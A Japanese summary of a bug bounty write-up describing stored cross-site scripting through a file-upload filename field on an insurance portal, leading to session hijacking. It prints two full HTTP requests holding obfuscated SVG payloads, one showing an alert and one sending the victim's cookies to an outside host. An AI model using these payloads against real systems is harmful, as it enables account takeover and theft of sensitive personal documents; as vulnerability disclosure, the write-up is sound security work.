Hijacking Sessions with IDOR and XSS から学ぶ

Bug Bounty

ソース：

bxmbn.medium.com

内容：

保険金請求や本人確認といった機密文書を扱うために設計されたプラットフォームが、攻撃者にとっての金鉱と化す様子を想像してみてください。
保険関連ポータルのファイルアップロード機能を調べていた時に、まさにそんな状況に遭遇しました。最初は簡単なテストだったものが、クロスサイトスクリプティング（XSS）の脆弱性へと発展し、大量のアカウント乗っ取りにつながる恐れがありました。

エントリーポイント

導火線に火をつける

シンプルなアラートをトリガーするために使用したリクエストは次のとおりで。

```
POST /[redacted]/[redacted].do HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------25285536543518840322221354714
Content-Length: 761
Origin: [redacted]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="njfbRefNo"

R2326400540
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="actId"

-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="maxUploadContentSize"

104857601
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="fileUidList"

10006630~!~/[redacted]/a/unix/apps/WAS/FileService/files/[redacted]/2023/9/21~!~xss"><svg><set onbegin="d=document,b='`',d['loca'+'tion']='javascript:aler'+'t'+b+domain+b"> .png~!~649159
-----------------------------25285536543518840322221354714--
```

 

https://[redacted].com/xxx.asp?refNo=R2326400540

XSSからアカウント乗っ取りまで

 

```
POST /[redacted]/[redacted].do HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------25285536543518840322221354714
Content-Length: 761
Origin: [redacted]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="njfbRefNo"

R2326400551
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="actId"

-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="maxUploadContentSize"

104857601
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="fileUidList"

10006630~!~/[redacted]/a/unix/apps/WAS/FileService/files/[redacted]/2023/9/21~!~xss"><svg><set onbegin="d=document,b='`',d['loca'+'tion']='//bxmbn.com/?'+b+cookie+b"> .png~!~649159
-----------------------------25285536543518840322221354714--
```

 

キッカー：認証は不要

フォールアウト

 

ほなほな。